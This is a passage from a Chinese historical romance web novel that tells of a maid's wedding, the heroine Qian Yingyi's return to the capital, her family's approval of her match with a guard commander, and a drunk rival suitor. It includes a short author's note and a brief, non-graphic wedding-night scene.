秦离铮忍俊不禁,俯身轻咬她的颈肉,含混应声,“我下回克制些。” 这话耳熟,钱映仪总觉得几时听过,半日想不起来,便干脆不去想了,一把推开他,履行自己身为小姐的本分,理直气壮向他伸手,“我的裙子呢?” 稍刻,秦离铮依次把衣裳递给她,钱映仪穿戴妥当,凑个脑袋在他眼前,静等着他编辫子,一面遮掩自己追求刺激的行为,“嗳,待会咱们往家里走时,买些吃食,就装作是一大早出的门。” 秦离铮听了难免笑出声,暗道这理由实在拙劣,不如他一顿轻功翻进宅子里好使,却还是纵容她胡扯,几个指头拢着她的发丝,应道:“好。” 日出的景色里伴着层层叠叠的云影,枫叶烧得火红,只消轻轻一拨弄,便又拨出日复一日的闹市喧阗,急风管弦。 晌午时一起用午饭,裴太太环视众人一圈,替自己斟了杯酒,旋即起身道:“叨扰贵府是我的不是,还请受我一杯酒。” 钱家几人忙跟着应和,“不要紧的。” 待一阵推杯换盏,裴太太便道:“不瞒你们说,是我应下和离,与裴家没了关系,兵马司才卖了钱侍郎的面子放了我出来,我娘家在淮安也是富户,如今上头只一个哥哥,从未婚配过,膝下更别说有什么孩子了。” “前几年哥哥时常劝我离开裴家,为着找珍珠,我把这事给耽搁了,如今既已和离,又同珍珠团聚,我想着,带珍珠回淮安,与哥哥住在一起。” 言讫她扭头望向春棠,绽开个柔和的笑。 钱映仪正埋首用膳,闻言一怔,也抬脸看着春棠,想及春棠或许还未将要成婚的消息告诉裴太太,便清了清嗓,“太太,有一事您可能还不知道,春棠马上就要嫁人了哩” 裴太太果真不知,稍有惊诧,忙起身追问,“那人是谁?何时定下的婚约?又是几时出嫁?” 问到最后她就有些蒙头打转之意,还是春棠暗自收到钱映仪的眼色,方回过神来,噙着笑把裴太太拉回圆杌上,想着自己比划她也看不明白,便干脆起身往外头走,俄延半晌,把小玳瑁给拉了进来。 裴太太的眼神立刻落在小玳瑁身上,带着点锐利与审视,小玳瑁承受着岳母的打量,心中难免发怵,眼观鼻鼻观心,一时未曾开口。 还是夏菱静观片刻,眼珠子轱辘轱辘打转,噗嗤笑了两下,才上前与裴太太道: “太太,他叫蒋渔,渔夫的渔,家中父母呢,也在金陵做些小本生意,虽是咱们家的侍卫,平日却只用守着小姐,签的也是活契,不是奴身。” “因与春棠两个都在小姐身边,这才暗生情愫,小半年前两个互表心迹,询问过小姐同老太爷的意思,这才做主给他们的亲事定了下来,婚期就在后日呢,想来是春棠见到娘实在高兴,一时把这事给忘了。” 小玳瑁这时候不知哪根筋搭得正了,一改拘谨模样,忙牵起春棠的手,两个一并跪在裴太太跟前,他道:“太太,我是真心喜欢她的,没有她,我这一辈子不可能再有婚嫁之举了,为了她,我做什么都可以。” 春棠虽听不见他在说什么,却也期期艾艾把娘望着。 叫裴太太看得心肠倏软,只好牵出一抹笑,扶着二人起身,先摸一摸春棠的脑袋,继而对小玳瑁道:“即使如此,我也不好再带她回淮安,你父母今番可得空?下晌还请替我引着见一面。” 小玳瑁喜形于色,一连迭地点头,“有空的,有空的,我这便去请他们来!” 于是下晌两家尊长见了面,蒋父蒋母对春棠的身世感到诧然,想她是大户人家的小姐,是儿子高攀,同裴太太说话时益发地温和谨慎。 裴太太忙着与二人说话,也没忘留神女儿的神情,见她亦是真情实意想嫁给那叫蒋渔的小子,想及能与女儿团聚已是上天恩赐,便高高兴兴一口应下了。 待到入夜,铜漏声声,更夫敲响三更的梆子,三个女孩子歪在榻上依偎。 钱映仪同夏菱两个起先还高兴着呢,大约二人将要离开金陵、春棠却留在这儿,又或许是多年的陪伴记忆倒流回来,到后来竟都含着一泡泪,抱着春棠不肯撒手。 月明星稀,不知不觉,这抹凝结成团的厚重不舍与友情化成了窗纱外的风,在不知不觉间,吹来通红一片,天色大晴,一双鸟儿展翅双飞,大婚之日甫至。 钱映仪大清早的急急忙忙在云滕阁窜来窜去,前夜便已与爷爷商量好,总归她自己是要在京师成婚的,春棠早已将云滕阁当作自己的家,便由她从云滕阁的西厢正屋出嫁。 大红珠帘与垂纱下是春棠穿嫁衣的倩影,云滕阁上上下下延绵出喜气,待家里几个小厮丫鬟连番跑来传话,“来了!来了!新郎官来了!” 钱映仪脸上登时绽开浓烈的笑,猛然一捶拳,够着脖子往外头喊道:“知道了!” 旋即是阵轰天的炮竹响,钱映仪与夏菱两个笑得连耳朵上的红石榴耳坠都在颤,春棠虽听不见,可早已练就瞧人观物的本事,她举着婉约纯净的目光往门口瞧了一眼,心中晓得,是蒋渔来迎她了。 正笑着,红彤彤的盖头罩住了她的笑颜,由钱映仪为首的一众人簇拥着她往外去,大约是不舍,这段路走得不算快,俄延半晌才走到前厅,由春棠拜别裴太太,旋即是钱兰亭这个钱家大长辈。 迎亲的队伍热闹得很,便连秦离铮也穿了身鸥蓝色的右衽鹤纹袍子,腰间挂着半截红绸,从容站在厅外,不如旁人吵闹,静等着新娘子出来。 片刻,一行红彤彤的身影踏出正厅,小玳瑁穿着大红圆领 袍,笔直的小腿下是双干干净净的皂靴,戴着顶从前未曾戴过的乌纱帽,瞧见春棠身影的那一刻,脸上的笑再也遮蔽不住,张扬又肆意。 小玳瑁接走春棠,秦离铮便透过重重人影望向属于他的新娘子,二人凑到一处,短暂地说了会话,秦离铮避着人捏一捏她的指头,举着温柔的目光把她施妆傅粉的脸凝视一眼,“哪儿来的天仙?” 钱映仪被他吓一跳,指尖温热的触感挣脱不掉,眼风便四下打转,见没人留神自己,才狠狠回掐他,“你今日跟着迎亲,胆子是越来越大,这么多人呢,嗯?什么天仙?你在夸我?” 钱映仪细细的嗓音叨叨两句,琢磨出他话里的夸赞,那两帘睫毛跟着扇一扇,扇出点儿羞涩。 二人落在最后,余光瞥见他歪着脸凑近,那抹薄荷香更浓重,她飞快往一旁蹦跶开,佯装嗔他,“哎唷,说你胆子大你还真什么都在青天白日里做呢,不许,我今日妆面可好看了,你不许毁了我的妆!” 正说着,炮竹声愈发响彻耳际,敲锣打鼓声振得半座金陵城仿佛都能听见,因裴太太自家有丰厚家财的缘故,女儿出嫁,她忙前忙后去寻师傅,生生在短短两日里做足了风光。 听及炮声,钱家上下数不清的人头往门前攒动,趁着这一会,秦离铮一把揽过钱映仪的腰,把自己腰身的红绸子解下,塞进她的手里,目光比以往更火热,“不许我亲,那便拿着这个,接一接喜气。” 旋即外头轿夫一声,“起轿——” 秦离铮俯身凑近她,把脸悬在她的眼前,往她跟前许下誓言,嗓音很轻,话却庄重,“届时,我也用这个牵着你,牵着你成为我的” 炮竹声太响,后头他再说了些什么,钱映仪没听清,只记得他脸上笑意须臾放大,转而一个回身,急步往迎亲的队伍里赶去,留她在原地呆站片刻,渐渐羞红了一张脸,一连迭跺了跺脚。 迎亲的队伍一径行到新宅,一路敲锣打鼓,几个小丫鬟在一旁洒喜糖钱币,路上百姓益发乐呵呵的,一些吉祥话张口就来,轰闹声与笑声杂糅在一起,一晃太阳西沉,宾客里的年轻后生居多,没再闹洞房,喧哗过一阵便各自散去。 小玳瑁轻轻推开门,静静在门口望着那一席美梦,忙活大半日,他总觉得是在发一个迤逦缱绻的梦。 直至迎到春棠,与她行过合卺的婚仪,再到如今,宾客尽散,屋宇下只剩他与她,方找回一抹真实感。 静瞧春棠片刻,少年笑了笑,反手轻阖门,怕吓着自己,也怕惊扰了她,即便知道她无法听见自己诉说爱恋,也依旧一步步走向她,带着浓烈的爱,一遍遍唤她,“春棠娘子” 春棠垂眼等了半日,等到眼下出现一双皂靴,唇畔立时扬起一抹笑,穿着大红绣鞋的脚由裙摆伸出去,脚尖轻触他。下一刻,喜秤挑开盖头,她便对上裹着星辰的眼睛。 小玳瑁耳廓渐染红晕,克制把眼挪开——你好美。 春棠怔了怔,抹了胭脂的脸愈发红透,轻掣他的袖摆——你反倒不好意思呢,我饿了。 是哩!他在外头推杯换盏,她却在屋子里静等大半日,小玳瑁猛然一拍脑袋,忙不迭地旋身往外走,嘴里嘀咕着,“不能饿着你,瞧我这记性,我这便去拿些吃” 话音未落,腰身蓦然被一双素手紧紧搂住,小玳瑁脚步顿停,垂眼凝望身前如美玉般交握的手,免不得有点发蒙,他握住那双手,回身举着探究的目光盯着春棠。 春棠面上再添两抹羞涩,勾着他的腰带往后退。小玳瑁眨眨眼,须臾回神,越是跟着她往前走,眼底的慾色与爱恋就愈发明显。 他摸了摸春棠的耳垂,指尖滑过她柔和的下颌线条,取下她头上的冠,端正坐在她身侧。 细细看了半晌,他的眼色逐渐跟着明月一起沉下去,轻轻贴上她的唇,带着满腔的爱意去亲她,反复碾磨。 屋子里连窗纱都透着昏红的光,映得一双人影的肌肤上都泛着淡粉,细细密密的吻落向春棠的柳眉,腮畔,颈侧,红烛越烧越暗,帐内的体温却越缠越热烈。 纱幕垂垂,明月渐渐朦胧,预想的快乐穿过春棠时,两个都僵了片刻,旋即是几滴滚烫的汗,滴落在她的脸上,很快又被温柔的唇舌卷走。 再到满园落叶被风吹起,屋外渐冷,屋子里的二人却汹涌燃烧着彼此,与夜长存。 风急云低,溪桥泛着潮冷,秦淮河一眼望不到头,距春棠与小玳瑁成婚没两日,钱映仪往晏家走了一趟。 晏秋雁早知钱映仪要回京师一事,只是未想来得如此快,抱着她哭哭啼啼半日,抽噎着道:“那时第一眼见你,我就晓得咱们能玩到一处去,一玩就是这么多年,你不在金陵了,叫我想你时往哪里去寻你!” 晏秋雁“哇”地一声哭道:“我舍不得你!” 她豢养的那只鹦哥儿也跟着哭,“舍不得你!舍不得你!” 钱映仪好笑拍着她的背哄,“你还没去过京师哩,你放心,很快咱们又能见面,届时帖子一到你手里,你就得马不停蹄地往京师赶,可记住了?” 晏秋雁一连迭地点头,留钱映仪在家里过夜同睡,拖到次日下晌才放钱映仪离去,待真真正正分别时,依旧在宅子外头举着双泪盈盈的眼睇着她,“说好了,待回了京师,我们还是头一个、顶顶要好的,你在那头交了新朋友,不许把我给忘了,你也记住!” 钱映仪嘻嘻笑道:“晓得了,晓得了,晏家秋雁在我心里一直排在前头呢,雁雁,咱们回头京师再见。” 旋即轻撂车帘,马车辗转行至钱宅,钱映仪闷憋半日的泪在见到钱兰亭的那一刻再也忍不住,穿过垂花门,一个猛子就扑进钱兰亭怀里,嗓音里藏着哽咽,“爷爷!” 钱兰亭一怔,恍然一笑,眼眶里藏着点湿润,轻轻抚着她的背,“你十岁时,跟着爷爷来金陵,可没这么舍不得你爹娘呢,这模样倘或叫你爹娘见着,指不定多酸呢,好孩子,别哭,你只是暂时见不到爷爷,爷爷又不是要死了。” 这话说得钱映仪急得跺脚,“呸呸呸!您不许胡说!” 说着去擦钱兰亭的嘴,被钱兰亭笑着躲开,指一指她的身后,两撇泛白的胡须上下轻动,“好了,好了,你也不许这么不像话,这回是真要回家了,你爹那人向来古板,你也别总气他,有什么话好好说,明白了吗?你很快又能同爷爷相见的,爷爷不是还得回京师送你出嫁?” 这话兜兜转转,转回钱映仪与秦离铮身上,钱映仪挪眼往秦离铮那瞥了两下,深知爷爷这是同意了秦离铮,心中酸涩与欢喜芜杂成一个厚重的团,使她又吊着钱兰亭的胳膊晃,“那约定好,我出嫁前十日,不,前半月,前一月!您就得回京师住着!” 钱兰亭吭笑两声,掩去眼底的不舍,抚着她的脑袋应道:“成!爷爷定然赴约!” 下一刻,他复又望向秦离铮,敛着面上 的笑,叮嘱道:“此番就你二人回京师,我这孙女,你可得照看好了。” 秦离铮忙颔首作揖。 于是次日云渺水茫,钱映仪登上码头的船,听着水声在耳畔直撞,撞出她浓烈的不舍,止不住地挥手喊道:“姐姐,爷爷,二叔二婶,弟弟,夏菱,春棠,咱们京师再见——” 钱其羽刻意往府学告假来送她,嗓音里含着呜咽,“等我年关时去京师找你耍,啊,姐姐!” 夏菱机灵得仿佛要成精,晓得小姐与心上人心意相通,她跟着一趟回京师未免碍事,便自发留下来,一说再与春棠待一阵子,二说待余骋巡遍江南,近年关时自己便同钱玉幸夫妇一道回京师。 岸上几抹身影逐渐隐入浩渺的水雾里,钱映仪鼻头发酸,少不得在此刻轻瞪秦离铮。 待船身在江面摇晃半日,钱映仪方抛弃那点忧惘,一霎换了副喜滋滋的神色,眼里浮动着期盼已久的光,站在船上远眺辽阔江面,“想想这么多年没回京师,京师该是什么模样了啊?阿铮,我这时候就开始激动了!” 秦离铮跟着笑,“没怎么变,你到了就知道了。” 于是揣着这抹激动,钱映仪像只叽叽喳喳的莺雀,绕着秦离铮嘀咕了一路,一时问问这个,一时问问那个。 直到走西直门入了京师,站在皇城脚下,她才轻轻一跺脚,振去凤头履上的雪沫,深深嗅了嗅冷冽的空气,叹道:“我回来了!” 京师的确变化不大,虽不比金陵绚丽,却也宽阔旷远,正值傍晚,不知是哪家办着喜事,西直大街的半空绽着万重烟花。 钱映仪笑嘻嘻跑过去瞧了半晌,一径走过陌生里带着熟悉的街道,沉寂多年的记忆渐渐清晰,她兴奋地直跳,拉着秦离铮一路往家里赶。 她今番穿了件淡粉色长袄,外头是海棠花纹比甲,比甲团着一圈毛,京师又初雪临城,着实算得上稍显单薄。 原是有件毛茸茸的披风,被她跑得气喘时解了下来扔给秦离铮,越往家里跑,那张红扑扑的脸益发耀眼,回身向秦离铮招一招手,气吁吁道:“快跟上呀!” 因此一径跟着记忆跑进流碧胡同,远远瞧见自家那熟悉门匾下站着两道身影,认出其中一个是爹,钱映仪脸上的笑意益发浓重。 这时候她反倒不急了,悄么声息地放缓了脚步,一点点往那头挪,预备着给爹一个惊喜。 钱宅下正站着钱锦年,瘦瘦高高的身材,一张脸与钱映仪有两三分相似,儒雅斯文,披着件琥珀色披风,底下是墨黑葡萄纹直裰,腰间坠着一枚玉佩。 他正噙着抹笑同一旁的身影说话,“哈哈,余候莫不是在同我开玩笑,你家小儿子真喜欢映仪?怪哉,两个见都没见过吧!你家大儿子余骋,我瞧着是好得不能再好的,让映仪嫁进你们家” 余候闷头想了想小儿子的话,道:“他是讲小时候同映仪在街上耍过。” 钱锦年“唔”了一声,忖度道:“那照你这么说,姐妹两个倒也有个伴,说起来,老头子的信下晌正送到家里,我还没看呢,届时催一催他,接近年关,再是如何,映仪也该回来了,嗐,你不知道她,她犟得很,此事还需等她回来再议。” 余候慈眉善目,腰板挺得笔直,闻声跟着笑了笑,“亲家,咱们亲加上亲难道不好?” “不好!” 钱映仪蓦然一气跑到钱宅门前,踩上三截石磴,亮晶晶的眼睛里带着点怒气。 因钱玉幸出嫁时,她并未回京师,因此见到这全然陌生的余候,便没半分亲近感,只端端正正福了个身,旋即在钱锦年跟前跺脚,“爹,我说不好,您听见了吗!” 钱锦年诧然至极,半晌哈哈一笑,拉着她到身前上上下下扫量,“乖宝,你是几时从金陵来的?怎的没半点风声透露给爹!” “哎呀,爹!您有没有在听我说话?”钱映仪哪还顾得上叙旧,忙不迭地道:“我才不嫁进侯府呢。” 余候侧目窥她,笑问,“这就是映仪?” 碍着礼数,钱锦年暗暗警告钱映仪一眼,温声道:“哪有女孩子把“嫁”字挂在嘴边的?嫁不嫁的,往后再议。” 钱映仪绕着钱锦年转了两圈,眼珠子复又往余候身上转了转,瞥向秦离铮时,干脆“蹬蹬”踩下石阶,一把牵起他的手,隔着半截距离向钱锦年晃了晃,“爹,我有想嫁的人了,我要嫁他!我只嫁他!” 钱锦年脸色登时一变,见她大庭广众之下牵男人的手,且那男人是皇上身边的锦衣卫指挥使,忙低斥道:“胡闹!你你你给我撒开!” 急起来,这话也不知究竟是叫钱映仪撒手,还是叫秦离铮撒开他宝贝女儿的手。 谁知他这一板脸激起了钱映仪的反骨,一回来便闻听爹同余候议着自己的亲事,什么余候家的小儿子,她都忘了是谁!便是漂亮得惊天地泣鬼神,她也不要!于是她一反到底,猛然往秦离铮身上跳,“我不!” 秦离铮慌忙兜着她,带着点惊愕,看着她掬着自己的脸重重亲了下,继而对她爹一字一顿道:“我就要嫁他!” “娘!快些,咱们往外头去买些妹妹从前喜欢的小玩意儿,”宅子里头传来钱林野的嗓音,含着一抹笑意与急切,愈来愈近,“爷爷信上说,妹妹走的水路,估摸着明日便到了!” 下一刻,美妇与钱林野的身影乍然出来。 钱宅门前静了静,连扫雪的小厮都缩着肩躲去了廊柱后头。钱锦年愕然望着钱映仪,指头把她点了点,半晌没说出话。 钱林野呆怔片刻,发蒙的念头在脑子里左窜右窜——是妹妹?妹妹怎的就回来了? 再到看清妹妹整个人挂在秦离铮身上的模样,钱林野眨了眨眼,猛然怒吼,“钱映仪!你给我下来!” 那美妇正是钱映仪的娘,闵琴。闵琴发了会怔,“乖宝?” 钱林野见钱映仪没动,气得上前去拽她,“好好一个女孩子像什么话,你给我下来,下来!” “我不!”钱映仪抱着秦离铮的脖子越搂越紧,“哥哥去问爹!爹都要把我嫁给姐夫的弟弟了!我不下来,早知如此,我就不该回来,我现下就打转回金陵,我回金陵陪着爷爷去,叫爷爷送我成亲去!” 即便秦离铮见长辈都在,想把她从身上拉下来,也颇有些为难。 未想她使起性子竟如此犟,转念又想着她是因自己才如此,秦离铮只得顶着钱林野要生剐了他的目光,揽着她行至石磴下。 转而松开她,由她挂在身上,旋即拱了拱手,“钱大人,钱太太,余候。” 余候也稍有惊愕,暗想自己小儿子是个性子跳脱的,倘或硬把小儿子与映仪凑到一处,指不定家里有多闹腾,因此讪讪笑了两声,眼睛望向昏黄的天际,“哈哈哈,映仪,别太当回事,伯父同你爹说笑呢,没有的事,没有的事。” 钱映仪抬脸望向余候,“伯父说的真话?” 余候笑,“再真不过了!” 钱映仪这才撇撇嘴,轻哼一声,从秦离铮身上窜下来,端端正正给余候再行礼,“映仪见过伯父。” 下一瞬,复又欢欢喜喜凑去闵琴身侧,带着点撒娇的意味蹭闵琴,“娘,乖宝回来啦。” 闵琴这时候方回过神来,屈指往她额心弹了几下,听她佯装痛呼,跟着哼笑出声,又把目光挪向秦离铮,意味深长开口,“秦指挥,听说你下一趟金陵,捉了次贪官的功夫,就把我的女儿给拐走了,你可什么话要与我交代?” 秦离铮正有此意。他本想着待钱映仪安顿好,再登门向钱锦年夫妻告罪,谁知突生这一遭,遂站在石磴下把腰身弯折,“自然是有的,外头寒冷,映仪一路跑回家发了一身的汗,有什么话,可否进宅子里说?” 闵琴心思自然比钱锦年要细腻,见他态度恳切又知关切 女儿,面色便和缓了些,领着钱映仪旋裙进宅,留下一句: “儿子,请秦指挥进前厅。”—— 作者有话说:[撒花][撒花][撒花]恭喜春棠和小玳瑁这一对—— 钱映仪回京师啦哈哈哈哈哈见面先来个炸裂的 钱映仪:我!就!不!撒!手! 第56章 雪花飘飘洒洒,逐渐压折细条枝干,屋子里的炭盆噼啪作响,秦离铮的腰身也一弯再弯,眼眉恭顺,由着闵琴问什么便答什么。 答话时,年轻人臂弯还搭着女孩子先前脱下来的披风,肩上还挂着包袱,这模样,怎么看都叫人觉得有几分吊诡。 可无论他如何一揽罪责,钱锦年依旧挂着抹疏离的笑,把热茶轻呷,换了个坐姿,语藏机锋,“秦指挥是说,与我的乖与映仪是两情相悦?” “哼,小年轻嘛,我懂的,我也是从年轻走过来的,年轻人血气方刚,一时冲动也是正常之举,但这里头涉及谈婚论嫁就不大一样了。” 钱锦年挪眼望向明显垮了脸的钱映仪,心头倏软。 嘴却仍像淬了毒,复又转过头看着秦离铮,问,“京师这段时日传得最多的便是秦编修洗清冤屈一事,秦家满门忠臣,我是知道的,心中也敬佩不已,可是秦指挥,这是两码事,要嫁人,我就得替她挑个各方面都最合适的,为人父母,总想着子女好,你说呢?” 这话其实不大好听,可秦离铮并未不喜。 他晓得,倘或换成他要把呵护了十几年的女儿嫁给自己这样靠踩着别人上位的酷吏,他也定然不会同意。 因此秦离铮闷头想了想,忖度片刻,才慢慢站直了身子,盯着钱锦年,“钱大人,听您说了这么多,我无一字要辩解,只是我也有个问题想问问您。” 钱锦年抬眼乜他,“你问。” 秦离铮抿了抿稍薄的唇,开口道:“映仪十岁时为何固执跟着钱老太爷回金陵,这其中缘由,您可知?” 钱锦年一怔,攒眉没说话,女儿因何非要跟着老头子走,他不是不明白究竟是因为何事。 他望向秦离铮,“你想说什么?” 秦离铮静静站在原地,举着温柔双目看了眼垂眼不说话的钱映仪,嗓音里牵出一丝叹息,“这么多年,您可知映仪一直梦魇?她生来便是赤忱、纯真的性子,亲近之人骤然离世,如何能接受?这种滋味,我想我能懂,也正因为我懂,我才知她拖着迟迟不回京师的理由。” “我向来不说大话,但唯独这一点,我能坦荡与您说,全天下没有谁比我更懂她,今番她能欢欢喜喜回京师,定是心结已解。” 秦离铮把嗓音放得软了点,“钱大人,您有一句话说错了,我是年轻气盛,可我不是一时起意,不是一时冲动,映仪于您而言,是无上至宝,于我而言,亦是如此,也正因如此,我懂她的一切,我明白她的挣扎与无奈,也明白她的爱恨悲欢。” 顿了顿,秦离铮又笑了笑,道:“您也知道,满朝无人不骂我是朝廷鹰犬,无人不避讳我,因要替兄长讨回公道,我觉得自己与活尸无异。” 渐渐地,他稍在原地停留,便走向钱映仪,换他主动牵起她的手,握紧了,就再也不放,“但您有一句话我也赞同,我于她而言,或许不是天下顶好的,但一定是最合适的。” “同样的,这满世界也只有她最懂我。” 他道:“只有在她身边,我才能做回完整的自己,找回做人的知觉,同样的,她只有在我身边,才能展现最赤忱的自己,我和她,无论如何” 在阖厅惊诧的目光下,秦离铮一字一顿道:“都不可能分开。” 钱映仪有片刻的晃神。 很快,她又见她哥哥目色里燎着火,语气却没那么冲地指着秦离铮,“你给我撒手,不许牵我妹妹。” 而握着自己的那双手愈发地紧,“绝不。” 闵琴在一边静观半日,早看出女儿一颗心都吊在了秦离铮身上,也看出这位锦衣卫指挥使狠戾皮囊下的另一面。 加上儿媳在金陵生产那时候的惊险,闵琴也早已知情,仔细想了想,她便道:“咱们家向来都是文官,不喜打打杀杀,秦指挥,不是我说话败兴,如今这世道,你知道的,锦衣卫这个身份,本身便是百官最忌讳的,不单单指向你。” 秦离铮眼色幽深,愈发端正,“太太,我不大会说话,我也直白同您说,在京师,在这些趋炎附势的门户面前,只有权利,才能使人敬着自己,倘或我能娶映仪,在整个京师,乃至十三省,无论她去到哪里,我都不会叫任何人给她一丁点儿委屈受,这一点,普通官员家的子弟做不到。” 钱锦年静观他半日,鼻腔里哼出一声冷笑,“你年纪轻轻,倒好猖狂!” 因牵着钱映仪,秦离铮便改为颔首,“不是猖狂,是我呵护映仪的一片心,她是顶顶好的姑娘,能娶她,是我高攀。” 钱映仪眨了眨眼,暗自琢磨出味儿来,把爹娘望一望,又挪眼去瞧哥哥,眼色里稍显狐疑。 钱林野懒洋洋抱臂,噗嗤一笑,“傻子,还没回过神呢?你的好阿铮过了爹娘这一关了,你们在金陵闹得要死要活的,小小一个矛盾你就跟失了魂似的,你当我眼睛当吃饭使的看不出来?早前回来,我便把事都同爹娘说了。” 钱林野乐得去搓揉她的脑袋,“只是想把你娶走哪有这么简单?他当然要先过爹娘这一关,爹娘也不是阴司恶鬼,哪会棒打鸳鸯?哎哎哎,好好地,你哭什么?不许哭!” 钱映仪晃神擦了擦两滴挂在下颌的眼泪,半晌醒过神,恨恨环视爹娘与哥哥,狠狠一跺脚,带着点喜极而泣的哭腔道:“好呀!你们合起伙来诓我!不带这样玩我的!” 闵琴笑意更甚,“喜事降临,多大个人了,还哭啊?既回来了,就好好在家里待着,娘想死你了,你再哭,那那些细致末梢的六礼,娘可就拖一拖了。” 秦离铮闻听要拖,心中咯噔两声,忙跟着去擦钱映仪脸上的泪珠,低声哄着,“别哭别哭” 钱映仪心中溢出甜丝,顺手往他肩头一捶,“你懂什么!我这是高兴!” 厅内众人笑作一团,半晌,钱锦年稍敛笑意,望向秦离铮道:“回头与你爹娘把这事说明白,请媒人上门,我家乖宝,必须依照最郑重的婚仪出嫁。” 秦离铮抿出笑,忙跟着应声。 钱林野挑起眼梢看他,眼睛里总算少了点火/药味,只是仍有警告之意,“敢对我妹妹不好,你就等着被我活剥!” 钱映仪白他一眼,“嘁”了一声,兴兴拉着秦离铮往园子里走,留下一句,“爹,娘,哥哥,你们先聊,我先带阿铮去瞧团姐儿了!” 她再活过来时,跑起来的裙摆像极蝶翼,旋开在雪地里,有种艳丽的美,秦离铮心中也十分高兴,由她拉着,一步步迈向圆满,使他也活过来的心益发跳动不已。 不同于金陵,京师下起雪来白茫茫一片,如同往大地铺展白银,十二月二十八这日,秦青山与任婉秋请了媒人登门。 因皇上重用秦离铮,对钱锦年也颇有再提拔之意,主婚者请的便是宫里头的郑尚仪,郑尚仪立于祠堂,告之: “秦青山之子离铮,年已长成,未有伉俪,已议娶钱锦年之女映仪,今日纳采,不胜感怆。” 旋即秦青山夫妻奉婚书及聘礼往钱宅大门外,郑尚仪出迎。过后便是纳币请期,一应繁琐礼节下来,把婚期定在正月后,由钦天监推算出最早最好的日子,二月初一。 钱映仪还觉得稍稍有些快,谁知任郁青抱着团姐儿在一旁窃窃笑了两声,道:“为着你嫁人一事,婆母与公爹操碎了心,婚服、嫁妆,早早地就替你备下了,细细检算一番,只需走过这些礼节,你即可欢欢喜喜嫁人,也不算快了。” 钱映仪暗自咋舌,一时没说话。 婚期甫一定下,两个便彻底松缓下来,这日雪停,街道被清扫得只剩雪沫儿,钱映仪披着件姜黄色的披风,由秦离铮牵着,大大方方在京师转了两圈,旋即踅进鼓楼下的一间食肆。 如今无人不知二人已定亲之事,伙计一双眼睛剔透得跟外头的冰珠子似的,忙体贴接过二人的披风,引着往二楼雅间去。 钱映仪却脚步顿停,四面睃巡一眼,笑嘻嘻道:“我瞧着人不多,不如就坐那儿!”顺手把角落一张四方桌指了指。 秦离铮把下颌轻点,转背踩下木梯,牵她一起过去。 孰料二人方坐下,二楼角落的雅间门“吱呀”被拉开,自里头跌出个醉醺醺的身影,抄着一壶酒往嘴里灌,闷声不吭,身后伙计跟着喊,“哎唷,小爷,舟小爷,您可真不能再喝了,回头侯爷 使人来问罪,咱们这儿小店可说不清啊!” 赶巧这厢招待钱映仪的伙计笑嘻嘻把单子递上,精气神十足,嗓音也大,“钱三小姐,您看,您想吃点儿什么,我晓得您吃惯了金陵的东西,要不,试试这鸭子?” 那醉醺醺的身影一顿,站在木梯上猛然向钱映仪睇来一眼,待看清她的眼眉,嗷地一嗓子就把酒壶推进伙计怀里,旋即撩袍下来,一个猛子就冲到钱映仪身前。 “映仪?映仪!真的是你!”年轻人十八九岁的年纪,唇红齿白,扎着幅巾,穿一身天青色直裰,目色切切,“这么多年不见,你还跟小时候长得一样!” 秦离铮把眉轻挑,心中明白了什么,胳膊肘支着桌面,按兵不动。 钱映仪给这少年唬一跳,吓得往后一缩,神情讶然,“你是?” “你不记得我了?!”少年眼睑下浮着红,醉态尽显,忿然往她桌前轻轻锤了一下,“余舟啊,我是余舟!” 余舟一指不远处的鼓楼,含混的嗓音里杂糅着委屈,“小时候我们天天在那儿耍呢,你都不记得了?” 钱映仪把眉轻攒,醒了醒神,虽不大记得那些玩乐之事,却晓得余舟是谁,她那姐夫的胞弟,余候的小儿子。于是她讪笑两声,佯装记起来了,“哦是你呀,抱歉,我近来眼神不大好,一时没认出来,你在这儿做什么呢?” 余舟撇撇唇,打了个酒嗝,迷迷瞪瞪靠近她,一屁股往长条凳上坐,恨道:“你怎么就要成亲了,你怎么就要成亲了!你怎么就要嫁人了啊呜呜——” 没说两句,他便潸然泪下,胡话一句一句由他嘴里往外蹦,“我喜欢你那么久那么久,生等着你回来,好容易挨到冬天,想着快到年关了,你再应该回来了,求着我爹去说亲,他那日归家竟说你已有心上人!” “秦离铮那个狗东西!”说到此节,他愤恨一握拳,好似握出了他心里那点儿不平衡,“给小爷等着!那话怎么说来着,苍蝇不叮无缝的蛋,小爷即便是只苍蝇,即便是个完好的蛋,我也能生等着裂开一条缝来!映仪,他对你好不好?嗝他他若是对你不好,你只管来家里找我,我替你打他!打死他!” “你怎的一个人在这儿?秦离铮人呢?” 秦离铮懒洋洋抱臂觑着他,唇畔噙着抹若有似无的笑,“余舟,当着我的面,要挖我的墙脚,还骂我是狗东西,你胆子不小啊。” 余舟猛然一个哆嗦扭头,酒意醒了一半,显然往前二人也有过交集的,且他有些怕秦离铮,但想及钱映仪在此,不好在姑娘面前失了面子,便梗着脖子喊,“怎么!就骂你了!你抢了我的” 话未说完,他身后跟着的小厮已然大骇,忙不迭地捂紧他的嘴,牛大的手劲,一面捂着他往外推,一面冲二人讪笑,“抱歉,抱歉,我家小爷醉得厉害,哈哈哈,回去侯爷自会收拾他,秦指挥,钱三小姐,打搅您二人了,抱歉。” 钱映仪哭笑不得,目送余舟被塞进马车里,蕴着笑意收回眼,不防又撞上秦离铮似笑非笑的神情,她心中发怵,“挺挺巧的。” 秦离铮的醋性,她深有体会。于是随随便便点了些吃食,一顿饭下来便有意无意岔开话,不再说那蓦然冒出来的余舟。 正值傍晚,赤乌西沉,余韵斜照进屋檐瓦舍,再透射在地面,像白玉盘里的金黄绸缎,满是清冷却又绚丽的光。 自食肆出来时,钱映仪吃得略微饱腹,便朝车夫摆一摆手,只道是悠哉慢行回去。 她家离西直大街近,两人绕了近路走,一路上钱映仪絮絮叨叨说个不停,余光暗瞥秦离铮,他依旧跟着应声,也是那副不变的神情,却叫她心中直打鼓,总觉得他在琢磨什么坏心思。 果然临近钱宅时,秦离铮在角门后给她一把叩住,抵在墙根下,温热的指骨夹紧她的手,与之十指相扣。 钱映仪低呼,赶忙带着点微妙的讨饶,“我早不记得他了!你别说你吃醋吃了一路!” 她紧盯着他两片越来越近的唇,心中暗骂他酸得要命的同时又隐含期待,不由得轻轻阖上了眼。 谁知秦离铮只是悬在她脸上蹭她,鼻尖蹭过她的腮畔,轻嗅她的气息,旋即一把抱紧她,火热体温霎时包裹住她,嗓音里喧着叹息,“是我太幸运,提前揽获了你的芳心,好映仪,你这么好,有太多人喜欢你,我没办法不吃醋。” 